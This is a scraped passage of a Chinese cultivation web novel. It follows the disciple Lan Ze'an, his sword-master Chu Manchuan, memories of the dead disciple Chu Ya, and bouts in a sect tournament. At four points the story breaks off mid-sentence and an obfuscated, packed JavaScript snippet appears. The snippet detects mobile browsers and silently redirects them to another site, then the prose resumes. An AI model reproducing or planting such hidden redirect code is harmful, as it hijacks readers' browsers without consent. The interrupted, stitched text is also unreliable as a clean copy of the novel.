“这话还是楚崖跟为师说的。”褚漫川似乎没听到他的声音,神情还有些恍然,像是陷在了回忆之中,“他曾说,他相信自己不会一直输。” 兰则安眉心微动,眼中掠过一抹暗色,不过只是短短一刹就消失不见。 “则安,为师希望你能像楚崖一样,相信自己不会一直输。”褚漫川一瞬不瞬地盯着他,兰则安在他眼中,分明只看见了自己的小小影子,但听在耳朵里的,却多了楚崖两个字。 他压下那股莫名的不耐,仿若往常那般,答应道:“弟子明白了。” “最后,我要同你说的便是文修与器修。”褚漫川重新把话题拉回正道,“文修重在修心,任何一物即可入道,但无论何物,皆为道心外现;而器修的本命法器便是他的道,每位器修只会有一件本命法器,人器合一,人器一体,此为器修之道。” 兰则安苦思良久,仍是不解:“那剑意是……” “因何学剑,此为剑心;为何执剑,此为剑意。”褚漫川深深地望着兰则安,眼底墨色幽深。 四周安静,藏月山也只有他们师徒二人。 褚漫川等了许久,才听见兰则安迷惘的声音:“师尊,可是弟子学剑时,什么都没想啊。” 虽然并不意外他的回答,但褚漫川还是被刺了一下,随之心头泛起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875602|176303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 细密的酸楚。 他别过脸,不想再去看兰则安,声音平平凉了几分:“所以,你现在还觉得你学的是剑吗?” 兰则安愕然惊醒,瞳孔皱缩:“弟子……弟子学的是……” “以、剑、修、心,很好。”褚漫川侧眼看他,目光逼人,带着毫不掩饰的锋锐之气,“你比你的楚崖师兄都要厉害。” 兰则安脑子里的那根弦紧紧绷着,他下意识张开嘴唇,嗫嚅半晌,却也没能说些什么出来。 直到此时此刻,他才反应过来自己究竟都做了些什么! 他是剑尊的弟子,但他修的却不是剑道! “等宗门大比结束之后,你便去文渊峰修习吧,我——” 那根弦猝然断裂,兰则安脱口而出:“师尊是不要我了吗?” 褚漫川诧异道:“你怎么会这么想?” “师尊让我去文渊峰,不就是不想要我了吗?!”兰则安死死盯着褚漫川,语气也凶巴巴的,像是质问一般。 褚漫川瞧他眼圈都有点红了,可怜巴巴的,像受到了多大委屈似的,整个人如同一只被抛弃的小兽。 ……额,就是体型大了些。 这么想着,褚漫川一个没忍住,轻轻笑了起来。 兰则安狼狈地侧过身,身体微微发颤。 看来师尊……师尊他是真的不想要自己了。 意识到这一点后,他的脸色刷一下白了。惶恐和害怕像暴风雨一样席卷而来,心口像是被放了块沉甸甸的石头,压得他喘不过气来。 兰则安脑子里乱糟糟的,无数个念头飞快划过,他急于抓住些什么好能继续留在藏月山,脑中灵光一闪,蓦然出现了一句话。 “师尊!”他想也不想就开口唤褚漫川,急切道:“弟子在修真界听说了一句话,不知道在仙域里还适不适用。” 褚漫川微抬下巴,散漫开腔:“你说。” 兰则安看着他,目光灼灼,一本正经道:“一日为师,终身为父!弟子既——” 褚漫川表情一僵,眼底的笑意顷刻间化为乌有,脸色也变得十分难看,几乎是咬着牙挤出了这句:“滚出去!” 兰则安愣了下:“师尊?”弟子话还没说完呢? “出去。”褚漫川的眼底覆上了一层冰霜,让人只消看上一眼,脊背就禁不住开始冒冷汗。 周围的空气都好像凝固了一样,充斥着让人窒息的压抑感。 兰则安心里咯噔一下,面面相觑半晌,也想不出该说些什么来补救一下。 他第一次见师尊这副模样。 他知道师尊生气了,却又不知道师尊为什么生气。 [一日为师,终身为父] 难道是这句话有什么问题吗? 直觉告诉兰则安现在不能走,不然很可能再也回不来了,于是他慌忙叫道:“师尊!你别生气!是弟子失言!” 褚漫川眯了眯眼,气极反笑:“你还叫什么师尊啊?照你所说,你觉得应该叫我什么?” 18. 第 18 章 果然,他说错话了。 师尊不喜欢“一日为师,终身为父”这句话。 他不该故作聪明,自以为跟师尊亲近。 兰则安默默低下头,在道歉和沉默间犹豫不决。 “你说,你应该叫我什么?”褚漫川紧盯着他,眼神极冷,声音明显透出几分气急败坏的意思。 兰则安心绪不宁,却还是抬头直视着他的眸子,果断道:“师尊。” “不是说一日为师、终身为父吗?”褚漫川冷笑出声,眼神里的嘲讽之意昭然若揭。 “是弟子胡言乱语!弟子在外随便学了些东西,就在师尊面前卖弄,是弟子不对。”兰则安语气诚恳,什么都没再问,也没有要辩解的意思,“师尊,您惩罚弟子吧。” 褚漫川微微眯眼,漆黑的眸中晃出一抹嘲讽的笑。 …… “师尊,你觉得依我们现在的关系,弟子是不是应该换个称呼了?”楚崖从后面环住褚漫川的腰身,嗓音喑哑暧昧,话里暗示意味十足。 耳边是他说话时呼出的热气,褚漫川觉得有点痒,就想推开他,但刚一伸手就被他握住手心,十指交叉,扣得很紧很紧。 楚崖的手掌很热,力道也很重,被他牵住,褚漫川渐渐也觉得热起来,时间一长,就懒得松开了。 “随便你。”当时,褚漫川放松地依偎在楚崖怀里,被男人的气息环绕,一点也不想动。 阳光穿过枫叶间的缝隙,落了他们一身。风吹过,那些金色光斑就在他们四周摇曳,美得不像话。 褚漫川慢慢来了睡意,意识昏沉间,听见兰则安在他耳边低语:“师尊,我想做你的道侣。” “按照修真界的叫法,好像是……夫君?” …… 还真是人心易变啊,一千年不到,就给自己生生降了一辈。 这事绝不会随随便便就翻篇了,他得好好想想,怎么惩罚面前这个混账。 褚漫川眼底翻涌着晦暗不明的情绪,眉宇间的寒意凌厉逼人,兰则安便是没抬眼,也能清晰感受到落在他身上的这道锐利目光。 审判迟迟没有落下来,兰则安站在褚漫川身前,觉得脖颈那里正悬着一把剑,剑刃紧贴他的皮肤,一冷一热,两种极致的反差像是把他放在了烈火上炙烤。 正此时,传来了一声泠泠鸣响。 褚漫川微抿了下唇,淡声道:“有人来寻你了,你先过去吧。” 找我的??? 兰则安惊诧抬头,怔了一瞬,应声道:“是,师尊。” 褚漫川没搭他腔,看都没看他一眼。 兰则安眼睫颤了颤,没忍住又说了一句:“师尊,我很快回来。” 褚漫川继续不吭声,丝毫没有要接他话的意思。 兰则安没法,只能先按捺住失落的情绪,欠身行了一礼,转身快速下了山。 看见山脚站着的人时,他还愣了下,没想到居然猜错了人。他当是蓝义过来找他,结果现在站在他面前的却是白翀。 “兰师弟!”白翀兴致冲冲叫他:“我师父让我来找你,他说要送个东西给你。” “我?!”兰则安一头雾水,神色茫然,“师兄,你确定……这不是送给我师尊的吗?” 来到万世仙宗之后,除了宗主师鹤语,他就只见过器合峰峰主段至,还是今日才听师尊跟他说起五峰峰主,知道钟恒的名字。 他一个刚刚化形、实力低微的花妖,哪里会被一峰之主放在眼里呢? 白翀却是一点也没犹豫,声音很是认真:“就是送给你的!师父还让我一定要亲手交到你的手中。” 说着,他把手里的方形玉盒递了过来,那玉盒由白玉制成,没有一丝一毫的疵瑕。兰则安接过来时,入手温热滑腻,神思也是莫名一清。 他若有所思地盯着看了一会儿,隐隐嗅到了一丝清浅的茶香。 “对了师弟,刚才在路上,蓝义邀我去婆娑古境,我答应了。他说还不确定你要不要去,让我再过来问你一声。”白翀语气松快,眼中跃动着光芒。 兰则安这时才记起这件事,斟酌着开口:“我还没问过师尊呢……这样吧白师兄,等我下次再见你时就给你答复。” “好!那就这么说定了!”白翀爽快答应下来,“师弟,我得先回去了,师父他还等着我回去复命呢。” 兰则安双手捧着白玉盒,恭谨道:“师兄,替我向——” “没事师弟!”白翀大剌剌挥了下手,嘴角扬起,无所谓地说:“师父他老人家不在意这些虚礼,他还让我跟你说,叫你别放在心上,不是什么贵重玩意儿。” “不用送,我走了啊师弟,有空再来找你玩!”白翀仰头看了下天色,压根不给兰则安开口说话的机会,嗖一下就跑远了。 等兰则安拿着玉盒回到藏月山山顶时,小院中已经不见褚漫川的身影了。 正屋门窗紧闭,听不见一点声音。 兰则安眼巴巴看着房门,眼眸迷离,心潮起伏不定。 正值黄昏,大半边天都是绚丽的金橘色,落日余晖映照着火红的枫叶,折射出晃眼的金光。 这棵红枫原本长得极好,但繁茂的枝叶却把山顶这处小小的院子遮了大半,白日里都给人一种沉甸甸的感觉,让人心头压抑烦闷。 自从师尊砍了一半枝桠,天光落进来,这里就像是变了个样子,树显得更挺拔了,小院也变得通透了。 兰则安挺直地站在廊檐下,目不转睛看着正屋房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875603|176303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门,光影西斜,屋子的轮廓变得朦胧恍惚。 其实……他也只是把师尊当师尊,绝非像他所说,‘一日为师,终身为父’,他是从来都不曾想过的。 “还傻站在那儿做什么?是想让为师出去请你吗?” 熟悉的声音从屋里传出,带着不甚明显的薄怒,兰则安瞬间回过神,条件反射道:“师尊,弟子回来了。” 话一出口,他脑子轰的炸开,恨不得当场找个地缝钻进去。 他人都站在院子里了,师尊叫他进去,他居然还会回师尊这样的话。 兰则安耳朵红了个彻底,他不敢再耽误,轻轻推开门,快步走了进去,道:“师尊,白师兄送来了这个。” 褚漫川扫了眼,不感兴趣地说着:“既是给你的,你收着便是。” 兰则安抬眸,看褚漫川一点也不意外的模样,心里就清楚了。 他收起白玉盒子,正色道:“师尊,弟子还有一事想跟您商量。” “你指的是跟他们去婆娑古境?”褚漫川悠悠然道。 兰则安怔道:“……是。” “去吧,我准了。”褚漫川轻描淡写地开口,面色如常,一副完全没把这件事放在心上的样子。 兰则安突然就不知道该说些什么了,他看着褚漫川,无端有些失神。 褚漫川看出了他的心不在焉,遂道:“你先下去吧,今日早些休息。” “那,弟子告退。”兰则安躬身行了一礼,转身后,他的脚步微不可见地停顿了下,临时改变了主意,朝着书房去了。 书桌边,兰则安坐得端正,面前放了一本崭新的空白册子。 这是他自己闲时做的一本无字书,墨绿色的封面,用白色粗线装订而成,仿着楚崖藏在书架底部的那本,也是做来记录习剑之途的心得。 原本他是想跟楚崖师兄一样,记录修习君子剑的剑道,但直至今日,他才知晓他弄错了。 [吾之道乃修心,非是剑修之道] 兰则安写下这句话之后,端详良久,才在下面添上一行小字。 [诚如楚崖师兄所说,君子剑乃心] “楚、崖。”兰则安轻喃出声。 他往后翻了一页,眸色微沉,在空白的纸上继续写着。 [今日宗门大比,我输了] [我本来没有什么太大感觉,只是觉得愧对师尊,觉得自己不配做仙尊的弟子] [我听见许多人在我耳边提起楚崖这个名字,我本来是不在意的,直到我听见师尊也说起这个名字,我才知道,我是在意的] [可我在意的,好像不是楚崖,却又好像是楚崖] [我在意的,好像是师尊,又好像是师尊和楚崖他们两个人] 19. 第 19 章 千秋山。 今日是兰则安在宗门大比初选赛的第二场比试。 这一场的对手是文渊峰的向南雪,以画入道,以画修心,也是兰则安三场比试中最感兴趣的对手。 光影石上清晰显示着他的名字。 仍然是十七号擂台:文渊峰问道山向南雪,器合峰藏月山兰则安,上仙二层。 兰则安站在光影石正前方,神色平和,眉眼间隐约透出一种有别于他人的超然。 “则安——则安——” 乍然听见这道熟悉的声音,兰则安先是愣了会,随即转过身,声线平淡:“黎师兄。” 对面那道红衣身影蓦然一顿,黎修凡脸色微僵,眼神也随之变得黯淡了些。 “则安。”他到底是没有改称呼,走到离兰则安两步的地方停下,扯出一抹笑,“我自回到沧净山以后就在闭关,不小心忘记了这次宗门大比的时间,昨日才出洞府,听说你第一次比试时身体不适,现在可曾好些了?” 兰则安脸上挂着云淡风轻的浅笑,声音沉稳有力:“让师兄费心了,我没事的。” “就是说啊,能有什么事呢?若我们修仙之人还是那副病怏怏、一步三喘的样子,那这个仙,我看倒不如不修呢。”一道讥诮的男音在黎修凡身边响起,口吻带着不加遮掩的恶意。 兰则安循声看了过去,也是一袭红衣,只是这人的体型要比黎修凡魁梧了许多,从鬓角到嘴唇四周长满了细密的胡须,这会儿正双手环抱着胸,周身透着一股子落拓不羁的洒脱。 “师兄!你不要乱说!”黎修凡侧身看向身边跟着的男人,声音不悦,“则安的本体是帝兰,身体本就孱弱些,若是你再胡言乱语,以后就不要跟我一起出来了。” 兰则安嘴唇微动,正想说些什么,却被红衣男人直接打断:“抱歉,我只是没想到剑尊的新弟子竟会这样虚弱,我看你跟你师兄楚崖长得像,还以为实力也差不多呢。” 这话,红衣男人是面向兰则安说的,声调犀利,脸上没有一星半点觉得抱歉的意思。 不过这种话听多了也就习惯了。 兰则安神色漠然,内心毫无波动,只准备打声招呼就走:“我——” “哦对了,听说你刚来宗门没多久,应该也不知道我是谁。”男人第二次打断兰则安,声音铿锵有力:“那你记住了,我叫屠不休。屠杀的屠,不休,是无休无止的意思。” “你够了!”黎修凡忍不住拔高了音量,隐忍了许久的怒气终于燃烧起来,“你也知道则安他刚加入宗门,那你这是什么意思?恃强凌弱?还是以大欺小?” “师弟,我不是那个意思啊!”屠不休不自在地咳了一声,抬手挠了挠鬓角的胡茬,支吾道:“我……我就是想跟这位新弟子认识一下。” “屠师兄所谓的‘认识一下’就是不给兰师弟任何说话的余地吗?”又是一道声音插进来,兰则安都有种今日出门没看黄历的感觉了。 只是这道声音却是十分和善,仅管两人刚认识七天:“白师兄。” 白翀今日没有系那条红色的发绳,齐肩碎发凌乱地披在肩头,气质冷硬疏离,浑身上下都透出一种极致的桀骜不驯。 屠不休微眯着眼,目光逐渐变得冷厉:“你胆子倒是挺大的,不过小子,你知道我是谁吗?” “屠不休,你刚刚才说过。”白翀往前一步,挡住兰则安的半边身子,直勾勾对着他的眼眸,不躲不闪,不退不让。 水镜之下。 钟恒看得连连点头,嘴里的夸赞都没停下来过:“瞧瞧!瞧瞧!果然是我钟恒的弟子!这胸襟!这气魄!跟我就像一个模子刻出来的一样!” “确实不错。”褚漫川难得没跟他呛,悠哉道:“赤子之心,至诚之道,知行合一,彼岸之桥。”[注1] “单看心性,反倒是文修最不像修心之人了。”褚漫川眼里闪过一抹嘲讽,一点也不留情面,“师兄空闲时候,还是多指点指点自己的弟子吧,免得他们在外丢了沧净山的脸面。” 师鹤语略微勾唇,半带笑意道:“师弟,文修一道说不好,也从来都是不好说的,良莠不齐,也实属平常。况且我沧净山可不像你的藏月山,以前只有楚崖,现在只有兰则安,你只需要管一个人就行。可我这么多弟子,一个个指点过去,委实是分身乏术啊。” “那就劳烦师兄给他们找些事做,免得他们一个接一个,都来叨扰我的新弟子。”褚漫川索性把话挑明白,千秋山正殿里,本就安静的气氛变得更沉寂了。 师鹤语一点也不恼,仍然是那副从容含着笑的模样:“师弟不用担心,有小凡在,你那弟子是万万不会有事的。况且则安既已入了文修之道,多些师兄弟指点也是好事。” 褚漫川最是讨厌他这副说一句藏一句的模样,不想再与他多费口舌,意味不明地哂笑了声,抬眸重新看向悬空的水镜。 然师鹤语却不想遂了他的愿,虽也把视线投向水镜,但话题却依旧围绕着兰则安展开:“师弟,其实这样也好。你这新弟子性子也的确是弱了些,在宗门倒还好,以后若是外出历练,岂不容易被人欺了去?” 不等褚漫川出声,他又意有所指地追说了一句话:“你总不能一直跟在他身边,他也有自己的路要走。” 闻言,褚漫川侧头看他。 师鹤语眼神清明,迎着他的目光,眼神中带着满满的审视意味。 褚漫川只瞥他一眼就收回目光,耐人寻味地说:“师兄说得极是,不过我也想提醒师兄一句,人心易变,有时候眼睛看见的未必就是真的,师兄……可千万小心别看走眼了。” 何所以慢慢摇着折扇,等了一会儿,见两人都没有再开口说话的意思,这才跟他们一道把心神放在了水镜之中。 黎修凡站在白翀与屠不休正中间,却直直看向兰则安的眼睛,轻声道:“则安,我代师兄给你道歉,他一向如此,不太会说话,你别把他放在心上。你才化形没多久,不用把输赢当回事,只当这次大比是一场简单的历练就行。” 白翀莫名其妙地看了他一眼,心道这话说的,倒像是这大比是他黎修凡说了算似的。 兰则安面色如常,从始至终跟个局外人一样,表情没有过一丝一毫的变化,就连声音也听不出丁点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875604|176303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿额外的情绪:“师兄放心,我没当回事。今日我还有比试,不便让对手久等,我便先走了。” 说话时,他的视线依次扫过白翀、黎修凡和屠不休,这三个人都是他的师兄,旁人乍一听,都不知道他到底是在跟谁讲话。 “那我跟你一起走吧,我的比试在十八号擂台,咱俩正好顺路。”白翀接过他的话,嘴角稍稍扬起,露出一个若有若无的坏笑。 “好。”兰则安答应下来,朝着黎修凡两人微一颔首,转身就走了。 黎修凡愣了愣,表情很快淡了下来。 “嚯!今儿个真是长见识了!这个兰、则、安瞧着比楚崖还要讨厌呢!”屠不休没有刻意压低嗓门,神情不悦。 光影石这一带也安静,他这一声被周围人听了个完全。 不过,非但没人接他的话,反而陆续有人轻手轻脚地离开这里。 屠不休看他们那副做贼心虚的怂样,轻嗤出声,不满地叫嚷起来:“我说你们一个个的至于吗?我现在说的是兰则安!再说楚崖都陨落七百年了,你们现在单听一个名字,就跟老鼠见到猫似的,要是哪天他真站你们面前,那不得把你们生生吓死?!” 黎修凡没再管他,追着兰则安离开的方向,头也不回地走了。 屠不休一个人说也没劲,想到自己来千秋山的目的,虽然不屑,却还是老实地抬脚跟了上去。 “怪哉,真是怪哉。”何所以骤然出声,手里一直摇动的折扇也跟着停了下来,“师弟,你收的这个新弟子,之前我只是觉得模样像楚崖,但现在再看,这通透的心思也很像他呢。” 他紧盯着兰则安,目光全程没有离开水镜,看得出有了不小的兴趣。 褚漫川听见了也没去看他,目光仍追随着那道身影,不置可否道:“不然,你当我为何要选他?” “侥幸罢了!”钟恒轻哼出声,“我看你纯粹就是看脸挑弟子,只是这兰则安偏又凑巧是个天赋好的,即便没能修成剑道,却也能拿着你教给他的剑,踏上属于自己的仙路。” “是呢。”柳照雪幽幽叹气,可惜极了,“我怎么瞧,都觉得他像是我们文渊峰的弟子。” “可不是嘛,当时若是师弟再晚一步,那眼下这光影石上,写的就会是‘沧净山兰则安’了。”师鹤语也跟着感慨道。 “那还是算了吧。”褚漫川笑了起来,“就刚才那两个弟子,我看师兄都要顾不过来了,若是再把兰则安也添进去,只怕师兄的沧净山就没有消停的时候了。” 何所以重新摇起了手里的折扇,狐狸眼一挑,端的是吊儿郎当的语气:“我也觉得这兰则安还是待在藏月山为好,师兄的沧净山热闹,不差这一个人,柳师妹的文渊峰也不缺这一个文修弟子。况且兰则安虽是文修,却是以剑入道,看来也是与褚师弟有缘。” “何师兄所言极是,在我收下则安之前,师兄还总是催我收个弟子,尽尽长老的职责。”褚漫川戏谑开口,“但没曾想我收下则安以后,师兄又觉得可惜了。” 师鹤语眼中划过一抹深意,半晌才回他:“是啊,我也没想到,居然能这么赶巧。” 20. 第 20 章 十七号擂台。 向南雪着一身浅碧色罗裙,及腰青丝绑成两股松散的麻花辫,一左一右垂落在身前。 她的额前有一颗菱形的眉心坠,被细细的金链子穿过,垂至眉心上一指的位置。 走上台,与她面对面时,兰则安才发现她的眼睛是金色的,很纯粹的金色,像两颗闪耀的宝石,明亮且瑰丽。 “我是画修,向南雪,文渊峰问道山弟子。” 兰则安顺时随俗,也仿着她的话式,报上家门:“我是剑修,兰则安,器合峰藏月山弟子。” 向南雪沉默了几秒,到底是开了口,只是声音压得很轻也很低:“我知道你,你是藏霄仙尊的弟子,为正道仙陨的楚崖师兄的师弟。” 今日兰则安从踏上千秋山,直至此刻站上比试的擂台,这一路上已经听见了太多次楚崖的名字,再多一次也不算什么了。 他神情坦然,望着向南雪笑笑,道:“师姐既然都知道,那我便不多介绍我自己了。我虽然入宗门没多久,却也是听说过向师姐‘一笔引三冬’的威名,能在春意正浓时赏雪落之景,实在是今日之幸事。” 向南雪怔怔地站了几秒,似乎是没想到他会这样说。 片刻后,她莞尔一笑,道:“你第一场比试也是在这个擂台,我当时来看了,你的剑意很特别。那种通透的感觉我只从你的剑上感受过,我知道你们剑修不会随便透露你们的剑意,所以今日,我便来向师弟讨教了。” 台上的兰则安还没回答,水镜之下坐着的钟恒就先忍不住了:“真是见了鬼了,他怎么跟谁都能聊得来?看着是个安静寡言的性子,怎么跟楚崖那小子这么像,见谁都能唠上两句,哄得人家对他另眼相看。” “别说,还真是。”段至的眉毛几乎都要拧到了一起去。 他可不想看见褚漫川身边再出现一个目无法纪、无法无天的“楚崖”,长得相似放着看看就罢了,这性子若是再像…… 想到这,段至重重地哼了一声,扭过头,不赞同地瞪着褚漫川,脸色变得十分难看。 他这表现,浑像是褚漫川已经对兰则安做了些什么似的。 褚漫川懒得理他,就装作没看见,完全无视他的愤怒。 段至眼睛都瞪酸了,也不见褚漫川有任何心虚的表现。他咬着牙,恨恨挤出那句在褚漫川面前说过无数次的话:“倒反天罡!” “咳!段师兄言重了!”柳照雪无奈地接了一嘴,眼神示意他不要再说了。 正殿里坐着的这些长老,并不是人人都知道褚漫川和楚崖有超脱师徒关系的情意。 段至也清楚这一点,所以在众人面前从来不把话说明白,宁愿背个‘挑事’的名声,也不想被别人听到器合峰出了这么一桩丑闻。 时间长了,宗门里的众长老就渐渐意识到,这器合峰先后两位峰主不睦是不争的事实! 寒风的呼啸声穿过水镜,在大殿里响起。抬头就见,擂台上正飘着鹅毛大雪。 这是兰则安第一次切身感受书上所写的落笔成画,一画一世界。 他知道自己现在是在千秋山,是在大比的十七号擂台,但目之所见,却是一片无边无际的雪地。 天色也随之暗沉下来,刺骨的北风卷着雪花在天地间肆意游窜。 兰则安一袭青衫,朗目疏眉,身姿挺拔,静静地立于风雪中等了一盏茶的时间,也没等到向南雪的第二笔。 他只当向南雪是有意让他,于是,他便轻轻唤道:“师姐,那我就先出剑了。” 向南雪:“……” 若不是清楚兰则安是第一次与画修切磋,她一定会认为这人是故意的。 文修旨在修心,也旨在攻心。所谓画修,自执笔之时,攻势就开始了。 一画一世界,这世界中的一切,包括那看不见摸不着的风,全部都是危险的,也本该都是危险的,只是…… 兰则安真是个异类啊!!! 她清楚看见了兰则安衣摆被风吹得扬起,这就表明她的画成功了,这个世界也是真的形成了。但兰则安没有反应是真的,无动于衷也是真的。 这种情况只能表明,兰则安的心境远在她之上。 青霄剑划出一道青金色的剑光,万丈雪色中,那抹唯二的颜色显得尤其瞩目。 “轰——” 伴随着一道类似画布撕裂的声音,向南雪融合进画中世界的仙力在擂台上激荡开来,与防御结界碰撞,炸出一道刺眼的白光。 响声平息之后,向南雪干脆利落地转身走下擂台,叹息着留下一句:“我认输。” “……师姐?”兰则安眼神中充满了疑惑,显然是还没弄清楚状况。 向南雪周身还裹挟着尚未完全消融的冰冷气息,回眸看过来时,原本温和的眸光都显得有些凉了。 “是你赢了,兰则安。短时间内,我都没有可能赢你。”向南雪很认真地说了出来,随后停了几秒,纤眉微蹙,极其郑重地开口,“我还有一个问题想问你,如果你觉得冒昧、或者不便回答,可以不用回答。” “师姐请讲。”兰则 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875605|176303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安不动声色地压下心头那缕浅浅的疑虑。 向南雪直视着那双看上去清澈见底的眸子,沉下心,一字一顿地问:“你修的,真的是剑道吗?” 随着这个问题的道出,默然了许久的人群,终于骚动起来。 “我的天啊!这是什么意思?难道这个像楚崖的家伙压根就不是剑修?!” “但……但他比我想象中要厉害哎。” “我瞧着也奇怪,看他站在那儿,就像是看见一个道行更高的文修弟子一样。” “你没听他上一次比试时说过?他的真身是帝兰!妖族的那些花草精灵化形以后,本来就克制同阶文修。你也不想想,他们常年扎根在一个地方,见识短浅粗鄙,自然也就心思简单,不易被攻心之术扰乱心智,这才赶巧赢了。” “怎么?我听着你的意思倒像是不把我们文修放在眼里了。”一道微沉的男声猝不及防响起,众人纷纷看去,惊觉说话的人居然是屠不休。 顶着各式各样的目光,屠不休冷笑了一声,才高声质问道:“方才,是何人说的?” 被他目光扫视过的那些人赶忙摇头,下意识往后缩了缩,直到空出来一个涨红了脸的矮瘦男人。 男人穿着外门弟子的仙衣,脸盘不大,正中间的鹰钩鼻却十分突出,此刻低着头,屠不休就只能看见他那嗡动的鼻翼。 盯着他看了两秒,屠不休不屑道:“亏你还是一个文修,道心都不稳,还修什么心?” “擂台之上,输赢一目了然。若是照你所说,心思简单就能赢,你也不至于会是一个外门弟子。” 围观的很多弟子噗嗤一下笑出声来,不远处的兰则安听到动静,诧异地瞥了屠不休一眼。 “喂!姓兰的!你可别自作多情!以为我是在帮你!”屠不休察觉到兰则安的视线,稍微一想,鸡皮疙瘩都起来了,“我只是给我们文渊峰清理门户!跟你可没一点关系!” 兰则安这才转向他,慢慢开口:“屠师兄,方才,我在跟向师姐讲话。” “你!!!”屠不休拂袖而去,远远还能听见他愤懑的声音,“果然是比楚崖还要讨厌的家伙!” 黎修凡却是没空管他了。 他呆呆地看着兰则安,一动不动地站在原地,脑子里回荡着刚才听见的那句话。 刚才,台下所有人的注意都在屠不休身上。 而他清楚听见兰则安说:“我是剑尊的弟子,修的自然是剑道,只是而今尚不知为何执剑,故此,便先以剑修心,静待剑意明确之时。” 21. 第 21 章 “师弟!兰师弟!我就知道!你一定会赢的!”白翀兴冲冲地跑过来,一双银色眼睛像是在发光。 兰则安微微一笑,声音磁性温润:“我跟师兄想的一样,也知道师兄一定会赢。” 向南雪顺着声音看向白翀,打量半晌,还是没忍住问道:“白翀,你的眼睛一直都是银色的吗?” “对啊。”白翀下意识回她,话说完才意识到问他话的人是向南雪。 他转眸看向她,端详片刻,真心实意地笑着说:“不比你的金眸好看。” 他一笑,那双银色的眼睛就像盛满了温柔的月色,瞳孔中带着细碎的光亮,让人移不开眼。 “你……”向南雪愣了愣,反应过来时,眼睫连连颤抖了几下。 “你不要乱说。”她的心头像是被羽毛拂了一下,声音也不自觉轻柔起来。 兰则安离她更近一些,最是直观察觉出了这丝微妙变化。 奇怪的是,他再看白翀,白翀也是一副不太自在的模样,错开与向南雪对视的眼,专注地盯着脚尖,轻轻开口:“我真的,从来不说假话的。” 有意思。 兰则安挑了下眉,饶有兴致地端量过两人,眼底升起了浓厚的兴趣。 “这个兰则安不避嫌就算了,咱们这群老的……”钟恒挠挠下巴,“是不是不好再看下去啊?” 褚漫川冷冷扫了他一眼,沉声道:“你不会说话,就别张嘴。” “我倒是觉得钟师弟没说错。”段至逮到机会就要怼他一句,好像不跟他作对就不舒服似的,“我们这些人里面,年纪最小的都可以做这些孩子们的爹了。” 钟恒脸上的笑意慢慢也没了,郁闷地瞥了他一眼,没好气道:“段老白,其实我们这里面,就属你最不会说话了。你能修炼到金仙,实在是不容易。” “我们修仙之人,从来就是凭借实力说话。”卞见山抚摸着长长的胡须,老神在在,“若是把那说废话的功夫和心思都放在修炼上,那这个‘不容易’就会变成‘容易’了。” “那这么多年,我也没见大长老‘容易’过啊。我这仔细一想,都记不清是从什么时候开始,就再也没听到过大长老的好消息了。”钟恒可不惯他这臭毛病,嘲弄道:“莫不是大长老平日里把修炼的功夫和心思都放在说废话上了?哎呀呀呀,真是罪过,晚辈不会说话,您可千万别跟我计较。” 卞见山双手紧握成拳,脸色是前所未有的难看。他死死盯着钟恒,属于金仙的威势骤然席卷而去。 钟恒淡漠地望着他,呼吸微滞,但一双眼却是清醒沉静的。他没说一个字,就这么默默的与卞见山对视,与他抗衡,没有一点要低头的意思。 褚漫川看着他,有那么一瞬间,他觉得像是看见了以后的白翀。 或许这才是正常的师徒关系。 师父潜移默化的影响着自己弟子。 从弟子身上,也能清楚看见师父的影子。 楚崖跟他就不像,从始至终,似乎只有剑道随了他。 而现在的兰则安…… 以剑修心,只待剑意明确之时。 但楚崖的剑意…… 褚漫川心跳无端漏了一拍。 “行了,多大点事儿,传出去也不怕被人笑话。”师鹤语一甩衣袖,声音轻淡,却透出一种不容反驳的气势。 钟恒觉得身上猛然一轻。 卞见山眉头虽还皱着,却也没再做些什么。 水镜之中,已然没了兰则安三人的身影,随意切换了一个擂台,但大半长老的心思却都不在大比上了。 “今日我还有事,就先回去了。”褚漫川悠悠然站起身,重复着用了无数次的理由。 